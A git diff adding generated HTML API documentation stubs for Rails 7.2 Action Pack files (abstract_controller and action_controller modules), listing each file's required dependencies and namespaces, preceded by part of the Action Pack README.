With the Ruby on Rails framework, users only directly interface with the Action Controller module. Necessary Action Dispatch functionality is activated by default and Action View rendering is implicitly triggered by Action Controller. However, these modules are designed to function on their own and can be used outside of Rails.

+ +

You can read more about Action Pack in the Action Controller Overview guide.

+ +

Download and installation

+ +

The latest version of Action Pack can be installed with RubyGems:

+ +
$ gem install actionpack
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Action Pack is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/asset_paths_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/asset_paths_rb.html new file mode 100644 index 0000000000..26f43f0982 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/asset_paths_rb.html @@ -0,0 +1,70 @@ +--- +title: asset_paths.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/base_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/base_rb.html new file mode 100644 index 0000000000..05b13841c4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/base_rb.html @@ -0,0 +1,95 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller/error
  • + +
  • active_support/configurable
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/core_ext/module/anonymous
  • + +
  • active_support/core_ext/module/attr_internal
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/caching/fragments_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/caching/fragments_rb.html new file mode 100644 index 0000000000..2fc143365c --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/caching/fragments_rb.html @@ -0,0 +1,78 @@ +--- +title: fragments.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/caching_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/caching_rb.html new file mode 100644 index 0000000000..78d2e185e2 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/caching_rb.html @@ -0,0 +1,78 @@ +--- +title: caching.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/callbacks_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/callbacks_rb.html new file mode 100644 index 0000000000..6fe0ed3481 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/callbacks_rb.html @@ -0,0 +1,74 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/collector_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/collector_rb.html new file mode 100644 index 0000000000..aa77e89732 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/collector_rb.html @@ -0,0 +1,82 @@ +--- +title: collector.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/http/mime_type
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/deprecator_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/deprecator_rb.html new file mode 100644 index 0000000000..9372b2203c --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/error_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/error_rb.html new file mode 100644 index 0000000000..e92596c557 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/error_rb.html @@ -0,0 +1,70 @@ +--- +title: error.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/helpers_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/helpers_rb.html new file mode 100644 index 0000000000..24b9f2a6b9 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/helpers_rb.html @@ -0,0 +1,84 @@ +--- +title: helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/dependencies
  • + +
  • active_support/core_ext/name_error
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/logger_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/logger_rb.html new file mode 100644 index 0000000000..af897c86a8 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/logger_rb.html @@ -0,0 +1,78 @@ +--- +title: logger.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/benchmarkable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/railties/routes_helpers_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/railties/routes_helpers_rb.html new file mode 100644 index 0000000000..86e0877426 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/railties/routes_helpers_rb.html @@ -0,0 +1,82 @@ +--- +title: routes_helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/introspection
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/rendering_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/rendering_rb.html new file mode 100644 index 0000000000..59be89fff4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/rendering_rb.html @@ -0,0 +1,93 @@ +--- +title: rendering.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller/error
  • + +
  • action_view
  • + +
  • action_view/view_paths
  • + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/translation_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/translation_rb.html new file mode 100644 index 0000000000..300b9956d0 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/translation_rb.html @@ -0,0 +1,82 @@ +--- +title: translation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/html_safe_translation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/abstract_controller/url_for_rb.html b/src/7.2/files/actionpack/lib/abstract_controller/url_for_rb.html new file mode 100644 index 0000000000..618c25eab7 --- /dev/null +++ b/src/7.2/files/actionpack/lib/abstract_controller/url_for_rb.html @@ -0,0 +1,74 @@ +--- +title: url_for.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/api/api_rendering_rb.html b/src/7.2/files/actionpack/lib/action_controller/api/api_rendering_rb.html new file mode 100644 index 0000000000..805dccd186 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/api/api_rendering_rb.html @@ -0,0 +1,72 @@ +--- +title: api_rendering.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/api_rb.html b/src/7.2/files/actionpack/lib/action_controller/api_rb.html new file mode 100644 index 0000000000..bdec9f1662 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/api_rb.html @@ -0,0 +1,89 @@ +--- +title: api.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view
  • + +
  • action_controller
  • + +
  • action_controller/log_subscriber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/base_rb.html b/src/7.2/files/actionpack/lib/action_controller/base_rb.html new file mode 100644 index 0000000000..4c416a2e97 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/base_rb.html @@ -0,0 +1,89 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view
  • + +
  • action_controller/log_subscriber
  • + +
  • action_controller/metal/params_wrapper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/caching_rb.html b/src/7.2/files/actionpack/lib/action_controller/caching_rb.html new file mode 100644 index 0000000000..54d521165c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/caching_rb.html @@ -0,0 +1,72 @@ +--- +title: caching.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/deprecator_rb.html b/src/7.2/files/actionpack/lib/action_controller/deprecator_rb.html new file mode 100644 index 0000000000..48053127d1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/deprecator_rb.html @@ -0,0 +1,70 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/form_builder_rb.html b/src/7.2/files/actionpack/lib/action_controller/form_builder_rb.html new file mode 100644 index 0000000000..4578117722 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/form_builder_rb.html @@ -0,0 +1,74 @@ +--- +title: form_builder.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/log_subscriber_rb.html b/src/7.2/files/actionpack/lib/action_controller/log_subscriber_rb.html new file mode 100644 index 0000000000..7ef3d1ec5f --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/log_subscriber_rb.html @@ -0,0 +1,79 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/allow_browser_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/allow_browser_rb.html new file mode 100644 index 0000000000..26dbedac17 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/allow_browser_rb.html @@ -0,0 +1,84 @@ +--- +title: allow_browser.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • useragent
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/basic_implicit_render_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/basic_implicit_render_rb.html new file mode 100644 index 0000000000..a92d1e87ef --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/basic_implicit_render_rb.html @@ -0,0 +1,70 @@ +--- +title: basic_implicit_render.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/conditional_get_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/conditional_get_rb.html new file mode 100644 index 0000000000..bb2c88d88d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/conditional_get_rb.html @@ -0,0 +1,84 @@ +--- +title: conditional_get.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
  • active_support/core_ext/integer/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/content_security_policy_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/content_security_policy_rb.html new file mode 100644 index 0000000000..70edd72523 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/content_security_policy_rb.html @@ -0,0 +1,76 @@ +--- +title: content_security_policy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/cookies_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/cookies_rb.html new file mode 100644 index 0000000000..903217c838 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/cookies_rb.html @@ -0,0 +1,72 @@ +--- +title: cookies.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/data_streaming_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/data_streaming_rb.html new file mode 100644 index 0000000000..beb628aaa9 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/data_streaming_rb.html @@ -0,0 +1,86 @@ +--- +title: data_streaming.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_controller/metal/exceptions
  • + +
  • action_dispatch/http/content_disposition
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/default_headers_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/default_headers_rb.html new file mode 100644 index 0000000000..0d5fb3358b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/default_headers_rb.html @@ -0,0 +1,76 @@ +--- +title: default_headers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_flash_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_flash_rb.html new file mode 100644 index 0000000000..2f6944ddee --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_flash_rb.html @@ -0,0 +1,72 @@ +--- +title: etag_with_flash.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_template_digest_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_template_digest_rb.html new file mode 100644 index 0000000000..7c7f254240 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/etag_with_template_digest_rb.html @@ -0,0 +1,74 @@ +--- +title: etag_with_template_digest.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/exceptions_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/exceptions_rb.html new file mode 100644 index 0000000000..6d01c690e2 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/exceptions_rb.html @@ -0,0 +1,77 @@ +--- +title: exceptions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/flash_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/flash_rb.html new file mode 100644 index 0000000000..b978e30928 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/flash_rb.html @@ -0,0 +1,74 @@ +--- +title: flash.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/head_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/head_rb.html new file mode 100644 index 0000000000..998dbd6539 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/head_rb.html @@ -0,0 +1,72 @@ +--- +title: head.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/helpers_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/helpers_rb.html new file mode 100644 index 0000000000..8b490e5cb5 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/helpers_rb.html @@ -0,0 +1,76 @@ +--- +title: helpers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/http_authentication_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/http_authentication_rb.html new file mode 100644 index 0000000000..49b8e84df8 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/http_authentication_rb.html @@ -0,0 +1,102 @@ +--- +title: http_authentication.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/implicit_render_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/implicit_render_rb.html new file mode 100644 index 0000000000..1ca73953f9 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/implicit_render_rb.html @@ -0,0 +1,72 @@ +--- +title: implicit_render.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/instrumentation_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/instrumentation_rb.html new file mode 100644 index 0000000000..eec3054401 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/instrumentation_rb.html @@ -0,0 +1,88 @@ +--- +title: instrumentation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • benchmark
  • + +
  • abstract_controller/logger
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/live_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/live_rb.html new file mode 100644 index 0000000000..adc215b27d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/live_rb.html @@ -0,0 +1,103 @@ +--- +title: live.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/http/response
  • + +
  • delegate
  • + +
  • active_support/json
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/logging_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/logging_rb.html new file mode 100644 index 0000000000..abfe81220c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/logging_rb.html @@ -0,0 +1,74 @@ +--- +title: logging.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/mime_responds_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/mime_responds_rb.html new file mode 100644 index 0000000000..0bfec582a6 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/mime_responds_rb.html @@ -0,0 +1,89 @@ +--- +title: mime_responds.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller/collector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/parameter_encoding_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/parameter_encoding_rb.html new file mode 100644 index 0000000000..e503fd2d2d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/parameter_encoding_rb.html @@ -0,0 +1,74 @@ +--- +title: parameter_encoding.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/params_wrapper_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/params_wrapper_rb.html new file mode 100644 index 0000000000..a31d436904 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/params_wrapper_rb.html @@ -0,0 +1,95 @@ +--- +title: params_wrapper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/module/anonymous
  • + +
  • action_dispatch/http/mime_type
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/permissions_policy_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/permissions_policy_rb.html new file mode 100644 index 0000000000..74a42a7f5f --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/permissions_policy_rb.html @@ -0,0 +1,74 @@ +--- +title: permissions_policy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/rate_limiting_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/rate_limiting_rb.html new file mode 100644 index 0000000000..7f966902e6 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/rate_limiting_rb.html @@ -0,0 +1,76 @@ +--- +title: rate_limiting.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/redirecting_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/redirecting_rb.html new file mode 100644 index 0000000000..d12162678b --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/redirecting_rb.html @@ -0,0 +1,81 @@ +--- +title: redirecting.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/renderers_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/renderers_rb.html new file mode 100644 index 0000000000..5457b28100 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/renderers_rb.html @@ -0,0 +1,91 @@ +--- +title: renderers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/rendering_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/rendering_rb.html new file mode 100644 index 0000000000..042ff4de4d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/rendering_rb.html @@ -0,0 +1,76 @@ +--- +title: rendering.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/request_forgery_protection_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/request_forgery_protection_rb.html new file mode 100644 index 0000000000..a82fb5fe71 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/request_forgery_protection_rb.html @@ -0,0 +1,111 @@ +--- +title: request_forgery_protection.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/rescue_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/rescue_rb.html new file mode 100644 index 0000000000..6d8d4bbcf1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/rescue_rb.html @@ -0,0 +1,72 @@ +--- +title: rescue.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/streaming_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/streaming_rb.html new file mode 100644 index 0000000000..a6e2d51efb --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/streaming_rb.html @@ -0,0 +1,72 @@ +--- +title: streaming.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/strong_parameters_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/strong_parameters_rb.html new file mode 100644 index 0000000000..f941fc63d1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/strong_parameters_rb.html @@ -0,0 +1,115 @@ +--- +title: strong_parameters.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • active_support/core_ext/array/wrap
  • + +
  • active_support/core_ext/string/filters
  • + +
  • active_support/core_ext/object/to_query
  • + +
  • active_support/deep_mergeable
  • + +
  • action_dispatch/http/upload
  • + +
  • rack/test
  • + +
  • stringio
  • + +
  • set
  • + +
  • yaml
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/testing_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/testing_rb.html new file mode 100644 index 0000000000..2bf49ada6a --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/testing_rb.html @@ -0,0 +1,72 @@ +--- +title: testing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal/url_for_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal/url_for_rb.html new file mode 100644 index 0000000000..63608736e3 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal/url_for_rb.html @@ -0,0 +1,72 @@ +--- +title: url_for.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/metal_rb.html b/src/7.2/files/actionpack/lib/action_controller/metal_rb.html new file mode 100644 index 0000000000..d45267312d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/metal_rb.html @@ -0,0 +1,89 @@ +--- +title: metal.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
  • action_dispatch/middleware/stack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_controller/railtie_rb.html b/src/7.2/files/actionpack/lib/action_controller/railtie_rb.html new file mode 100644 index 0000000000..75c7e589ed --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_controller/railtie_rb.html @@ -0,0 +1,92 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
  • action_controller
  • + +
  • action_dispatch/railtie
  • + +
  • abstract_controller/railties/routes_helpers
  • + +
  • action_controller/railties/helpers
  • + +
  • action_view/railtie
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
